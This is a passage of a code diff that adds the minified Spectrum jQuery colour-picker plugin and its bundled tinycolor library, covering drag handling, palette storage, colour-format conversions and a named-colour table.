ay; + C = false; + if (bd.shiftKey) { + aZ = Math.round(aZ * 10) / 10; + } + aK(); + }, + A, + a9 + ); + c( + M, + function (be, bd) { + Y = parseFloat(bd / az); + C = false; + if (!a7.showAlpha) { + aZ = 1; + } + aK(); + }, + A, + a9 + ); + c( + I, + function (bk, bi, bh) { + if (!bh.shiftKey) { + G = null; + } else { + if (!G) { + var bf = P * aM; + var bd = af - aC * af; + var be = Math.abs(bk - bf) > Math.abs(bi - bd); + G = be ? "x" : "y"; + } + } + var bg = !G || G === "x"; + var bj = !G || G === "y"; + if (bg) { + P = parseFloat(bk / aM); + } + if (bj) { + aC = parseFloat((af - bi) / af); + } + C = false; + if (!a7.showAlpha) { + aZ = 1; + } + aK(); + }, + A, + a9 + ); + if (!!T) { + ac(T); + aD(); + au = V || tinycolor(T).format; + aV(T); + } else { + aD(); + } + if (a3) { + z(); + } + function bc(bd) { + if (bd.data && bd.data.ignore) { + ac(e(bd.target).closest(".sp-thumb-el").data("color")); + aK(); + } else { + ac(e(bd.target).closest(".sp-thumb-el").data("color")); + aK(); + ao(true); + if (a7.hideAfterPaletteSelect) { + aG(); + } + } + return false; + } + var ba = h ? "mousedown.spectrum" : "click.spectrum touchstart.spectrum"; + Q.delegate(".sp-thumb-el", ba, bc); + a6.delegate(".sp-thumb-el:nth-child(1)", ba, { ignore: true }, bc); + } + function aR() { + if (w && window.localStorage) { + try { + var ba = window.localStorage[w].split(",#"); + if (ba.length > 1) { + delete window.localStorage[w]; + e.each(ba, function (bc, bd) { + aV(bd); + }); + } + } catch (bb) {} + try { + aI = window.localStorage[w].split(";"); + } catch (bb) {} + } + } + function aV(ba) { + if (W) { + var bb = tinycolor(ba).toRgbString(); + if (!a5[bb] && e.inArray(bb, aI) === -1) { + aI.push(bb); + while (aI.length > aH) { + aI.shift(); + } + } + if (w && window.localStorage) { + try { + window.localStorage[w] = aI.join(";"); + } catch (bc) {} + } + } + } + function aX() { + var bc = []; + if (a7.showPalette) { + for (var bb = 0; bb < aI.length; bb++) { + var ba = tinycolor(aI[bb]).toRgbString(); + if (!a5[ba]) { + bc.push(aI[bb]); + } + } + } + return bc.reverse().slice(0, a7.maxSelectionSize); + } + function a0() { + var ba = aT(); + var bb = e.map(al, function (bc, bd) { + return s(bc, ba, "sp-palette-row sp-palette-row-" + bd, a7); + }); + aR(); + if (aI) { + bb.push(s(aX(), ba, "sp-palette-row sp-palette-row-selection", a7)); + } + Q.html(bb.join("")); + } + function at() { + if (a7.showInitial) { + var ba = aP; + var bb = aT(); + a6.html(s([ba, bb], bb, "sp-palette-row-initial", a7)); + } + } + function A() { + if (af <= 0 || aM <= 0 || az <= 0) { + ad(); + } + ap = true; + aO.addClass(x); + G = null; + D.trigger("dragstart.spectrum", [aT()]); + } + function a9() { + ap = false; + aO.removeClass(x); + D.trigger("dragstop.spectrum", [aT()]); + } + function aS() { + var bb = K.val(); + if ((bb === null || bb === "") && a4) { + ac(null); + ao(true); + } else { + var ba = tinycolor(bb); + if (ba.isValid()) { + ac(ba); + ao(true); + } else { + K.addClass("sp-validation-error"); + } + } + } + function ax() { + if (O) { + aG(); + } else { + z(); + } + } + function z() { + var ba = e.Event("beforeShow.spectrum"); + if (O) { + ad(); + return; + } + D.trigger(ba, [aT()]); + if (R.beforeShow(aT()) === false || ba.isDefaultPrevented()) { + return; + } + o(); + O = true; + e(X).bind("keydown.spectrum", aj); + e(X).bind("click.spectrum", ab); + e(window).bind("resize.spectrum", E); + aU.addClass("sp-active"); + aO.removeClass("sp-hidden"); + ad(); + aD(); + aP = aT(); + at(); + R.show(aP); + D.trigger("show.spectrum", [aP]); + } + function aj(ba) { + if (ba.keyCode === 27) { + aG(); + } + } + function ab(ba) { + if (ba.button == 2) { + return; + } + if (ap) { + return; + } + if (F) { + ao(true); + } else { + av(); + } + aG(); + } + function aG() { + if (!O || a3) { + return; + } + O = false; + e(X).unbind("keydown.spectrum", aj); + e(X).unbind("click.spectrum", ab); + e(window).unbind("resize.spectrum", E); + aU.removeClass("sp-active"); + aO.addClass("sp-hidden"); + R.hide(aT()); + D.trigger("hide.spectrum", [aT()]); + } + function av() { + ac(aP, true); + } + function ac(ba, bc) { + if (tinycolor.equals(ba, aT())) { + aD(); + return; + } + var bb, bd; + if (!ba && a4) { + C = true; + } else { + C = false; + bb = tinycolor(ba); + bd = bb.toHsv(); + Y = (bd.h % 360) / 360; + P = bd.s; + aC = bd.v; + aZ = bd.a; + } + aD(); + if (bb && bb.isValid() && !bc) { + au = V || bb.getFormat(); + } + } + function aT(ba) { + ba = ba || {}; + if (a4 && C) { + return null; + } + return tinycolor.fromRatio( + { h: Y, s: P, v: aC, a: Math.round(aZ * 100) / 100 }, + { format: ba.format || au } + ); + } + function aA() { + return !K.hasClass("sp-validation-error"); + } + function aK() { + aD(); + R.move(aT()); + D.trigger("move.spectrum", [aT()]); + } + function aD() { + K.removeClass("sp-validation-error"); + a1(); + var bc = tinycolor.fromRatio({ h: Y, s: 1, v: 1 }); + I.css("background-color", bc.toHexString()); + var bh = au; + if (aZ < 1 && !(aZ === 0 && bh === "name")) { + if (bh === "hex" || bh === "hex3" || bh === "hex6" || bh === "name") { + bh = "rgb"; + } + } + var ba = aT({ format: bh }), + bd = ""; + J.removeClass("sp-clear-display"); + J.css("background-color", "transparent"); + if (!ba && a4) { + J.addClass("sp-clear-display"); + } else { + var be = ba.toHexString(), + bi = ba.toRgbString(); + if (l || ba.alpha === 1) { + J.css("background-color", bi); + } else { + J.css("background-color", "transparent"); + J.css("filter", ba.toFilter()); + } + if (a7.showAlpha) { + var bf = ba.toRgb(); + bf.a = 0; + var bb = tinycolor(bf).toRgbString(); + var bg = "linear-gradient(left, " + bb + ", " + be + ")"; + if (h) { + aE.css("filter", tinycolor(bb).toFilter({ gradientType: 1 }, be)); + } else { + aE.css("background", "-webkit-" + bg); + aE.css("background", "-moz-" + bg); + aE.css("background", "-ms-" + bg); + aE.css( + "background", + "linear-gradient(to right, " + bb + ", " + be + ")" + ); + } + } + bd = ba.toString(bh); + } + if (a7.showInput) { + K.val(bd); + } + if (a7.showPalette) { + a0(); + } + at(); + } + function a1() { + var bc = P; + var ba = aC; + if (a4 && C) { + aF.hide(); + a2.hide(); + aL.hide(); + } else { + aF.show(); + a2.show(); + aL.show(); + var bf = bc * aM; + var bd = af - ba * af; + bf = Math.max(-aN, Math.min(aM - aN, bf - aN)); + bd = Math.max(-aN, Math.min(af - aN, bd - aN)); + aL.css({ top: bd + "px", left: bf + "px" }); + var bb = aZ * ay; + aF.css({ left: bb - aY / 2 + "px" }); + var be = Y * az; + a2.css({ top: be - ar + "px" }); + } + } + function ao(bb) { + var ba = aT(), + bd = "", + bc = !tinycolor.equals(ba, aP); + if (ba) { + bd = ba.toString(au); + aV(ba); + } + if (S) { + D.val(bd); + } + if (bb && bc) { + R.change(ba); + D.trigger("change", [ba]); + } + } + function ad() { + aM = I.width(); + af = I.height(); + aN = aL.height(); + L = M.width(); + az = M.height(); + ar = a2.height(); + ay = Z.width(); + aY = aF.width(); + if (!a3) { + aO.css("position", "absolute"); + if (a7.offset) { + aO.offset(a7.offset); + } else { + aO.offset(a(aO, aw)); + } + } + a1(); + if (a7.showPalette) { + a0(); + } + D.trigger("reflow.spectrum"); + } + function y() { + D.show(); + aw.unbind("click.spectrum touchstart.spectrum"); + aO.remove(); + aU.remove(); + d[ae.id] = null; + } + function aa(ba, bb) { + if (ba === g) { + return e.extend({}, a7); + } + if (bb === g) { + return a7[ba]; + } + a7[ba] = bb; + v(); + } + function ag() { + aW = false; + D.attr("disabled", false); + aw.removeClass("sp-disabled"); + } + function U() { + aG(); + aW = true; + D.attr("disabled", true); + aw.addClass("sp-disabled"); + } + function am(ba) { + a7.offset = ba; + ad(); + } + aJ(); + var ae = { + show: z, + hide: aG, + toggle: ax, + reflow: ad, + option: aa, + enable: ag, + disable: U, + offset: am, + set: function (ba) { + ac(ba); + ao(); + }, + get: aT, + destroy: y, + container: aO, + }; + ae.id = d.push(ae) - 1; + return ae; + } + function a(B, C) { + var A = 0; + var y = B.outerWidth(); + var E = B.outerHeight(); + var u = C.outerHeight(); + var D = B[0].ownerDocument; + var v = D.documentElement; + var z = v.clientWidth + e(D).scrollLeft(); + var w = v.clientHeight + e(D).scrollTop(); + var x = C.offset(); + x.top += u; + x.left -= Math.min( + x.left, + x.left + y > z && z > y ? Math.abs(x.left + y - z) : 0 + ); + x.top -= Math.min(x.top, x.top + E > w && w > E ? Math.abs(E + u - A) : A); + return x; + } + function b() {} + function j(u) { + u.stopPropagation(); + } + function t(v, w) { + var x = Array.prototype.slice; + var u = x.call(arguments, 2); + return function () { + return v.apply(w, u.concat(x.call(arguments))); + }; + } + function c(z, E, v, w) { + E = E || function () {}; + v = v || function () {}; + w = w || function () {}; + var F = document; + var H = false; + var y = {}; + var I = 0; + var G = 0; + var B = "ontouchstart" in window; + var A = {}; + A.selectstart = D; + A.dragstart = D; + A["touchmove mousemove"] = x; + A["touchend mouseup"] = C; + function D(J) { + if (J.stopPropagation) { + J.stopPropagation(); + } + if (J.preventDefault) { + J.preventDefault(); + } + J.returnValue = false; + } + function x(N) { + if (H) { + if (h && F.documentMode < 9 && !N.button) { + return C(); + } + var L = + N.originalEvent && + N.originalEvent.touches && + N.originalEvent.touches[0]; + var K = (L && L.pageX) || N.pageX; + var J = (L && L.pageY) || N.pageY; + var O = Math.max(0, Math.min(K - y.left, G)); + var M = Math.max(0, Math.min(J - y.top, I)); + if (B) { + D(N); + } + E.apply(z, [O, M, N]); + } + } + function u(K) { + var J = K.which ? K.which == 3 : K.button == 2; + if (!J && !H) { + if (v.apply(z, arguments) !== false) { + H = true; + I = e(z).height(); + G = e(z).width(); + y = e(z).offset(); + e(F).bind(A); + e(F.body).addClass("sp-dragging"); + x(K); + D(K); + } + } + } + function C() { + if (H) { + e(F).unbind(A); + e(F.body).removeClass("sp-dragging"); + setTimeout(function () { + w.apply(z, arguments); + }, 0); + } + H = false; + } + e(z).bind("touchstart mousedown", u); + } + function f(v, x, u) { + var w; + return function () { + var z = this, + y = arguments; + var A = function () { + w = null; + v.apply(z, y); + }; + if (u) { + clearTimeout(w); + } + if (u || !w) { + w = setTimeout(A, x); + } + }; + } + function k() { + return e.fn.spectrum.inputTypeColorSupport(); + } + var i = "spectrum.id"; + e.fn.spectrum = function (x, u) { + if (typeof x == "string") { + var w = this; + var v = Array.prototype.slice.call(arguments, 1); + this.each(function () { + var y = d[e(this).data(i)]; + if (y) { + var z = y[x]; + if (!z) { + throw new Error("Spectrum: no such method: '" + x + "'"); + } + if (x == "get") { + w = y.get(); + } else { + if (x == "container") { + w = y.container; + } else { + if (x == "option") { + w = y.option.apply(y, v); + } else { + if (x == "destroy") { + y.destroy(); + e(this).removeData(i); + } else { + z.apply(y, v); + } + } + } + } + } + }); + return w; + } + return this.spectrum("destroy").each(function () { + var y = e.extend({}, x, e(this).data()); + var z = r(this, y); + e(this).data(i, z.id); + }); + }; + e.fn.spectrum.load = true; + e.fn.spectrum.loadOpts = {}; + e.fn.spectrum.draggable = c; + e.fn.spectrum.defaults = m; + e.fn.spectrum.inputTypeColorSupport = function k() { + if (typeof k._cachedResult === "undefined") { + var u = e("")[0]; + k._cachedResult = u.type === "color" && u.value !== ""; + } + return k._cachedResult; + }; + e.spectrum = {}; + e.spectrum.localization = {}; + e.spectrum.palettes = {}; + e.fn.spectrum.processNativeColorInputs = function () { + var u = e("input[type=color]"); + if (u.length && !k()) { + u.spectrum({ preferredFormat: "hex6" }); + } + }; + (function () { + var Y = /^[\s,#]+/, + K = /\s+$/, + ad = 0, + P = Math, + T = P.round, + ak = P.min, + M = P.max, + D = P.random; + var af = function (an, ap) { + an = an ? an : ""; + ap = ap || {}; + if (an instanceof af) { + return an; + } + if (!(this instanceof af)) { + return new af(an, ap); + } + var ao = ac(an); + (this._originalInput = an), + (this._r = ao.r), + (this._g = ao.g), + (this._b = ao.b), + (this._a = ao.a), + (this._roundA = T(100 * this._a) / 100), + (this._format = ap.format || ao.format); + this._gradientType = ap.gradientType; + if (this._r < 1) { + this._r = T(this._r); + } + if (this._g < 1) { + this._g = T(this._g); + } + if (this._b < 1) { + this._b = T(this._b); + } + this._ok = ao.ok; + this._tc_id = ad++; + }; + af.prototype = { + isDark: function () { + return this.getBrightness() < 128; + }, + isLight: function () { + return !this.isDark(); + }, + isValid: function () { + return this._ok; + }, + getOriginalInput: function () { + return this._originalInput; + }, + getFormat: function () { + return this._format; + }, + getAlpha: function () { + return this._a; + }, + getBrightness: function () { + var an = this.toRgb(); + return (an.r * 299 + an.g * 587 + an.b * 114) / 1000; + }, + setAlpha: function (an) { + this._a = E(an); + this._roundA = T(100 * this._a) / 100; + return this; + }, + toHsv: function () { + var an = B(this._r, this._g, this._b); + return { h: an.h * 360, s: an.s, v: an.v, a: this._a }; + }, + toHsvString: function () { + var ao = B(this._r, this._g, this._b); + var aq = T(ao.h * 360), + ap = T(ao.s * 100), + an = T(ao.v * 100); + return this._a == 1 + ? "hsv(" + aq + ", " + ap + "%, " + an + "%)" + : "hsva(" + aq + ", " + ap + "%, " + an + "%, " + this._roundA + ")"; + }, + toHsl: function () { + var an = G(this._r, this._g, this._b); + return { h: an.h * 360, s: an.s, l: an.l, a: this._a }; + }, + toHslString: function () { + var ao = G(this._r, this._g, this._b); + var aq = T(ao.h * 360), + ap = T(ao.s * 100), + an = T(ao.l * 100); + return this._a == 1 + ? "hsl(" + aq + ", " + ap + "%, " + an + "%)" + : "hsla(" + aq + ", " + ap + "%, " + an + "%, " + this._roundA + ")"; + }, + toHex: function (an) { + return ab(this._r, this._g, this._b, an); + }, + toHexString: function (an) { + return "#" + this.toHex(an); + }, + toHex8: function () { + return al(this._r, this._g, this._b, this._a); + }, + toHex8String: function () { + return "#" + this.toHex8(); + }, + toRgb: function () { + return { r: T(this._r), g: T(this._g), b: T(this._b), a: this._a }; + }, + toRgbString: function () { + return this._a == 1 + ? "rgb(" + T(this._r) + ", " + T(this._g) + ", " + T(this._b) + ")" + : "rgba(" + + T(this._r) + + ", " + + T(this._g) + + ", " + + T(this._b) + + ", " + + this._roundA + + ")"; + }, + toPercentageRgb: function () { + return { + r: T(ag(this._r, 255) * 100) + "%", + g: T(ag(this._g, 255) * 100) + "%", + b: T(ag(this._b, 255) * 100) + "%", + a: this._a, + }; + }, + toPercentageRgbString: function () { + return this._a == 1 + ? "rgb(" + + T(ag(this._r, 255) * 100) + + "%, " + + T(ag(this._g, 255) * 100) + + "%, " + + T(ag(this._b, 255) * 100) + + "%)" + : "rgba(" + + T(ag(this._r, 255) * 100) + + "%, " + + T(ag(this._g, 255) * 100) + + "%, " + + T(ag(this._b, 255) * 100) + + "%, " + + this._roundA + + ")"; + }, + toName: function () { + if (this._a === 0) { + return "transparent"; + } + if (this._a < 1) { + return false; + } + return am[ab(this._r, this._g, this._b, true)] || false; + }, + toFilter: function (aq) { + var ar = "#" + al(this._r, this._g, this._b, this._a); + var ao = ar; + var an = this._gradientType ? "GradientType = 1, " : ""; + if (aq) { + var ap = af(aq); + ao = ap.toHex8String(); + } + return ( + "progid:DXImageTransform.Microsoft.gradient(" + + an + + "startColorstr=" + + ar + + ",endColorstr=" + + ao + + ")" + ); + }, + toString: function (aq) { + var an = !!aq; + aq = aq || this._format; + var ap = false; + var ao = this._a < 1 && this._a >= 0; + var ar = + !an && + ao && + (aq === "hex" || aq === "hex6" || aq === "hex3" || aq === "name"); + if (ar) { + if (aq === "name" && this._a === 0) { + return this.toName(); + } + return this.toRgbString(); + } + if (aq === "rgb") { + ap = this.toRgbString(); + } + if (aq === "prgb") { + ap = this.toPercentageRgbString(); + } + if (aq === "hex" || aq === "hex6") { + ap = this.toHexString(); + } + if (aq === "hex3") { + ap = this.toHexString(true); + } + if (aq === "hex8") { + ap = this.toHex8String(); + } + if (aq === "name") { + ap = this.toName(); + } + if (aq === "hsl") { + ap = this.toHslString(); + } + if (aq === "hsv") { + ap = this.toHsvString(); + } + return ap || this.toHexString(); + }, + _applyModification: function (ap, ao) { + var an = ap.apply(null, [this].concat([].slice.call(ao))); + this._r = an._r; + this._g = an._g; + this._b = an._b; + this.setAlpha(an._a); + return this; + }, + lighten: function () { + return this._applyModification(J, arguments); + }, + brighten: function () { + return this._applyModification(v, arguments); + }, + darken: function () { + return this._applyModification(I, arguments); + }, + desaturate: function () { + return this._applyModification(O, arguments); + }, + saturate: function () { + return this._applyModification(Z, arguments); + }, + greyscale: function () { + return this._applyModification(y, arguments); + }, + spin: function () { + return this._applyModification(ae, arguments); + }, + _applyCombination: function (ao, an) { + return ao.apply(null, [this].concat([].slice.call(an))); + }, + analogous: function () { + return this._applyCombination(R, arguments); + }, + complement: function () { + return this._applyCombination(W, arguments); + }, + monochromatic: function () { + return this._applyCombination(L, arguments); + }, + splitcomplement: function () { + return this._applyCombination(U, arguments); + }, + triad: function () { + return this._applyCombination(z, arguments); + }, + tetrad: function () { + return this._applyCombination(aj, arguments); + }, + }; + af.fromRatio = function (an, aq) { + if (typeof an == "object") { + var ao = {}; + for (var ap in an) { + if (an.hasOwnProperty(ap)) { + if (ap === "a") { + ao[ap] = an[ap]; + } else { + ao[ap] = H(an[ap]); + } + } + } + an = ao; + } + return af(an, aq); + }; + function ac(ao) { + var ap = { r: 0, g: 0, b: 0 }; + var an = 1; + var aq = false; + var ar = false; + if (typeof ao == "string") { + ao = N(ao); + } + if (typeof ao == "object") { + if ( + ao.hasOwnProperty("r") && + ao.hasOwnProperty("g") && + ao.hasOwnProperty("b") + ) { + ap = A(ao.r, ao.g, ao.b); + aq = true; + ar = String(ao.r).substr(-1) === "%" ? "prgb" : "rgb"; + } else { + if ( + ao.hasOwnProperty("h") && + ao.hasOwnProperty("s") && + ao.hasOwnProperty("v") + ) { + ao.s = H(ao.s); + ao.v = H(ao.v); + ap = aa(ao.h, ao.s, ao.v); + aq = true; + ar = "hsv"; + } else { + if ( + ao.hasOwnProperty("h") && + ao.hasOwnProperty("s") && + ao.hasOwnProperty("l") + ) { + ao.s = H(ao.s); + ao.l = H(ao.l); + ap = S(ao.h, ao.s, ao.l); + aq = true; + ar = "hsl"; + } + } + } + if (ao.hasOwnProperty("a")) { + an = ao.a; + } + } + an = E(an); + return { + ok: aq, + format: ao.format || ar, + r: ak(255, M(ap.r, 0)), + g: ak(255, M(ap.g, 0)), + b: ak(255, M(ap.b, 0)), + a: an, + }; + } + function A(ap, ao, an) { + return { + r: ag(ap, 255) * 255, + g: ag(ao, 255) * 255, + b: ag(an, 255) * 255, + }; + } + function G(an, ar, au) { + an = ag(an, 255); + ar = ag(ar, 255); + au = ag(au, 255); + var av = M(an, ar, au), + ap = ak(an, ar, au); + var aq, + aw, + ao = (av + ap) / 2; + if (av == ap) { + aq = aw = 0; + } else { + var at = av - ap; + aw = ao > 0.5 ? at / (2 - av - ap) : at / (av + ap); + switch (av) { + case an: + aq = (ar - au) / at + (ar < au ? 6 : 0); + break; + case ar: + aq = (au - an) / at + 2; + break; + case au: + aq = (an - ar) / at + 4; + break; + } + aq /= 6; + } + return { h: aq, s: aw, l: ao }; + } + function S(at, aw, ar) { + var an, au, av; + at = ag(at, 360); + aw = ag(aw, 100); + ar = ag(ar, 100); + function aq(az, ay, ax) { + if (ax < 0) { + ax += 1; + } + if (ax > 1) { + ax -= 1; + } + if (ax < 1 / 6) { + return az + (ay - az) * 6 * ax; + } + if (ax < 1 / 2) { + return ay; + } + if (ax < 2 / 3) { + return az + (ay - az) * (2 / 3 - ax) * 6; + } + return az; + } + if (aw === 0) { + an = au = av = ar; + } else { + var ao = ar < 0.5 ? ar * (1 + aw) : ar + aw - ar * aw; + var ap = 2 * ar - ao; + an = aq(ap, ao, at + 1 / 3); + au = aq(ap, ao, at); + av = aq(ap, ao, at - 1 / 3); + } + return { r: an * 255, g: au * 255, b: av * 255 }; + } + function B(an, aq, at) { + an = ag(an, 255); + aq = ag(aq, 255); + at = ag(at, 255); + var au = M(an, aq, at), + ao = ak(an, aq, at); + var ap, + aw, + av = au; + var ar = au - ao; + aw = au === 0 ? 0 : ar / au; + if (au == ao) { + ap = 0; + } else { + switch (au) { + case an: + ap = (aq - at) / ar + (aq < at ? 6 : 0); + break; + case aq: + ap = (at - an) / ar + 2; + break; + case at: + ap = (an - aq) / ar + 4; + break; + } + ap /= 6; + } + return { h: ap, s: aw, v: av }; + } + function aa(ar, az, ax) { + ar = ag(ar, 360) * 6; + az = ag(az, 100); + ax = ag(ax, 100); + var aq = P.floor(ar), + au = ar - aq, + ap = ax * (1 - az), + ao = ax * (1 - au * az), + ay = ax * (1 - (1 - au) * az), + aw = aq % 6, + an = [ax, ao, ap, ap, ay, ax][aw], + at = [ay, ax, ax, ao, ap, ap][aw], + av = [ap, ap, ay, ax, ax, ao][aw]; + return { r: an * 255, g: at * 255, b: av * 255 }; + } + function ab(aq, ap, an, ar) { + var ao = [ + Q(T(aq).toString(16)), + Q(T(ap).toString(16)), + Q(T(an).toString(16)), + ]; + if ( + ar && + ao[0].charAt(0) == ao[0].charAt(1) && + ao[1].charAt(0) == ao[1].charAt(1) && + ao[2].charAt(0) == ao[2].charAt(1) + ) { + return ao[0].charAt(0) + ao[1].charAt(0) + ao[2].charAt(0); + } + return ao.join(""); + } + function al(ar, aq, an, ao) { + var ap = [ + Q(V(ao)), + Q(T(ar).toString(16)), + Q(T(aq).toString(16)), + Q(T(an).toString(16)), + ]; + return ap.join(""); + } + af.equals = function (ao, an) { + if (!ao || !an) { + return false; + } + return af(ao).toRgbString() == af(an).toRgbString(); + }; + af.random = function () { + return af.fromRatio({ r: D(), g: D(), b: D() }); + }; + function O(ao, ap) { + ap = ap === 0 ? 0 : ap || 10; + var an = af(ao).toHsl(); + an.s -= ap / 100; + an.s = u(an.s); + return af(an); + } + function Z(ao, ap) { + ap = ap === 0 ? 0 : ap || 10; + var an = af(ao).toHsl(); + an.s += ap / 100; + an.s = u(an.s); + return af(an); + } + function y(an) { + return af(an).desaturate(100); + } + function J(ao, ap) { + ap = ap === 0 ? 0 : ap || 10; + var an = af(ao).toHsl(); + an.l += ap / 100; + an.l = u(an.l); + return af(an); + } + function v(an, ap) { + ap = ap === 0 ? 0 : ap || 10; + var ao = af(an).toRgb(); + ao.r = M(0, ak(255, ao.r - T(255 * -(ap / 100)))); + ao.g = M(0, ak(255, ao.g - T(255 * -(ap / 100)))); + ao.b = M(0, ak(255, ao.b - T(255 * -(ap / 100)))); + return af(ao); + } + function I(ao, ap) { + ap = ap === 0 ? 0 : ap || 10; + var an = af(ao).toHsl(); + an.l -= ap / 100; + an.l = u(an.l); + return af(an); + } + function ae(ap, aq) { + var ao = af(ap).toHsl(); + var an = (T(ao.h) + aq) % 360; + ao.h = an < 0 ? 360 + an : an; + return af(ao); + } + function W(ao) { + var an = af(ao).toHsl(); + an.h = (an.h + 180) % 360; + return af(an); + } + function z(ao) { + var an = af(ao).toHsl(); + var ap = an.h; + return [ + af(ao), + af({ h: (ap + 120) % 360, s: an.s, l: an.l }), + af({ h: (ap + 240) % 360, s: an.s, l: an.l }), + ]; + } + function aj(ao) { + var an = af(ao).toHsl(); + var ap = an.h; + return [ + af(ao), + af({ h: (ap + 90) % 360, s: an.s, l: an.l }), + af({ h: (ap + 180) % 360, s: an.s, l: an.l }), + af({ h: (ap + 270) % 360, s: an.s, l: an.l }), + ]; + } + function U(ao) { + var an = af(ao).toHsl(); + var ap = an.h; + return [ + af(ao), + af({ h: (ap + 72) % 360, s: an.s, l: an.l }), + af({ h: (ap + 216) % 360, s: an.s, l: an.l }), + ]; + } + function R(ao, ar, at) { + ar = ar || 6; + at = at || 30; + var an = af(ao).toHsl(); + var aq = 360 / at; + var ap = [af(ao)]; + for (an.h = (an.h - ((aq * ar) >> 1) + 720) % 360; --ar; ) { + an.h = (an.h + aq) % 360; + ap.push(af(an)); + } + return ap; + } + function L(ap, at) { + at = at || 6; + var ar = af(ap).toHsv(); + var av = ar.h, + au = ar.s, + ao = ar.v; + var aq = []; + var an = 1 / at; + while (at--) { + aq.push(af({ h: av, s: au, v: ao })); + ao = (ao + an) % 1; + } + return aq; + } + af.mix = function (ay, ax, au) { + au = au === 0 ? 0 : au || 50; + var ar = af(ay).toRgb(); + var ap = af(ax).toRgb(); + var an = au / 100; + var aw = an * 2 - 1; + var av = ap.a - ar.a; + var at; + if (aw * av == -1) { + at = aw; + } else { + at = (aw + av) / (1 + aw * av); + } + at = (at + 1) / 2; + var aq = 1 - at; + var ao = { + r: ap.r * at + ar.r * aq, + g: ap.g * at + ar.g * aq, + b: ap.b * at + ar.b * aq, + a: ap.a * an + ar.a * (1 - an), + }; + return af(ao); + }; + af.readability = function (aw, av) { + var ar = af(aw); + var ap = af(av); + var aq = ar.toRgb(); + var ao = ap.toRgb(); + var at = ar.getBrightness(); + var an = ap.getBrightness(); + var au = + Math.max(aq.r, ao.r) - + Math.min(aq.r, ao.r) + + Math.max(aq.g, ao.g) - + Math.min(aq.g, ao.g) + + Math.max(aq.b, ao.b) - + Math.min(aq.b, ao.b); + return { brightness: Math.abs(at - an), color: au }; + }; + af.isReadable = function (ao, an) { + var ap = af.readability(ao, an); + return ap.brightness > 125 && ap.color > 500; + }; + af.mostReadable = function (av, au) { + var aq = null; + var ao = 0; + var aw = false; + for (var at = 0; at < au.length; at++) { + var ap = af.readability(av, au[at]); + var ar = ap.brightness > 125 && ap.color > 500; + var an = 3 * (ap.brightness / 125) + ap.color / 500; + if ((ar && !aw) || (ar && aw && an > ao) || (!ar && !aw && an > ao)) { + aw = ar; + ao = an; + aq = af(au[at]); + } + } + return aq; + }; + var ah = (af.names = { + aliceblue: "f0f8ff", + antiquewhite: "faebd7", + aqua: "0ff", + aquamarine: "7fffd4", + azure: "f0ffff", + beige: "f5f5dc", + bisque: "ffe4c4", + black: "000", + blanchedalmond: "ffebcd", + blue: "00f", + blueviolet: "8a2be2", + brown: "a52a2a", + burlywood: "deb887", + burntsienna: "ea7e5d", + cadetblue: "5f9ea0", + chartreuse: "7fff00", + chocolate: "d2691e", + coral: "ff7f50", + cornflowerblue: "6495ed", + cornsilk: "fff8dc", + crimson: "dc143c", + cyan: "0ff", + darkblue: "00008b", + darkcyan: "008b8b", + darkgoldenrod: "b8860b", + darkgray: "a9a9a9", + darkgreen: "006400", + darkgrey: "a9a9a9", + darkkhaki: "bdb76b", + darkmagenta: "8b008b", + darkolivegreen: "556b2f", + darkorange: "ff8c00", + darkorchid: "9932cc", + darkred: "8b0000", + darksalmon: "e9967a", + darkseagreen: "8fbc8f", + darkslateblue: "483d8b", + darkslategray: "2f4f4f", + darkslategrey: "2f4f4f", + darkturquoise: "00ced1", + darkviolet: "9400d3", + deeppink: "ff1493", + deepskyblue: "00bfff", + dimgray: "696969", + dimgrey: "696969", + dodgerblue: "1e90ff", + firebrick: "b22222", + floralwhite: "fffaf0", + forestgreen: "228b22", + fuchsia: "f0f", + gainsboro: "dcdcdc", + ghostwhite: "f8f8ff", + gold: "ffd700", + goldenrod: "daa520", + gray: "808080", + green: "008000", + greenyellow: "adff2f", + grey: "808080", + honeydew: "f0fff0", + hotpink: "ff69b4", + indianred: "cd5c5c", + indigo: "4b0082", + ivory: "fffff0", + khaki: "f0e68c", + lavender: "e6e6fa", + lavenderblush: "fff0f5", + lawngreen: "7cfc00", + lemonchiffon: "fffacd", + lightblue: "add8e6", + lightcoral: "f08080", + lightcyan: "e0ffff", + lightgoldenrodyellow: "fafad2", + lightgray: "d3d3d3", + lightgreen: "90ee90", + lightgrey: "d3d3d3", + lightpink: "ffb6c1", + lightsalmon: "ffa07a", + lightseagreen: "20b2aa", + lightskyblue: "87cefa", + lightslategray: "789", + lightslategrey: "789", + lightsteelblue: "b0c4de", + lightyellow: "ffffe0", + lime: "0f0", + limegreen: "32cd32", + linen: "faf0e6", + magenta: "f0f", + maroon: "800000", + mediumaquamarine: "66cdaa", + mediumblue: "0000cd", + mediumorchid: "ba55d3", + mediumpurple: "9370db", + mediumseagreen: "3cb371", + mediumslateblue: "7b68ee", + mediumspringgreen: "00fa9a", + mediumturquoise: "48d1cc", + mediumvioletred: "c71585", + midnightblue: "191970", + mintcream: "f5fffa", + mistyrose: "ffe4e1", + moccasin: "ffe4b5", + navajowhite: "ffdead", + navy: "000080", + oldlace: "fdf5e6", + olive: "808000", + olivedrab: "6b8e23", + orange: "ffa500", + orangered: "ff4500", + orchid: "da70d6", + palegoldenrod: "eee8aa", + palegreen: "98fb98", + paleturquoise: "afeeee", + palevioletred: "db7093", + papayawhip: "ffefd5", + peachpuff: "ffdab9", + peru: "cd853f", + pink: "ffc0cb", + plum: "dda0dd", + powderblue: "b0e0e6", + purple: "800080", + rebeccapurple: "663399", + red: "f00", + rosybrown: "bc8f8f", + royalblue: "4169e1", + saddlebrown: "8b4513", + salmon: "fa8072", + sandybrown: "f4a460", + seagreen: "2e8b57", + seashell: "fff5ee", + sienna: "a0522d", + silver: "c0c0c0", + skyblue: "87ceeb", + slateblue: "6a5acd", + slategray: "708090", + slategrey: "708090", + snow: "fffafa", + springgreen: "00ff7f", + steelblue: "4682b4", + tan: "d2b48c", + teal: "008080", + thistle: "d8bfd8", + tomato: "ff6347", + turquoise: "40e0d0", + violet: "ee82ee", + wheat: "f5deb3", + white: "fff", + whitesmoke: "f5f5f5", + yellow: "ff0", + yellowgreen: "9acd32", + }); + var am = (af.hexNames = ai(ah)); + function ai(ap) { + var ao = {}; + for (var an in ap) { + if (ap.hasOwnProperty(an)) { + ao[ap[an]] = an; + } + } + return ao; + } + function E(an) { + an = parseFloat(an); + if (isNaN(an) || an < 0 || an > 1) { + an = 1; + } + return an; + } + function ag(ap, an) { + if (X(ap)) { + ap = "100%"; + } + var 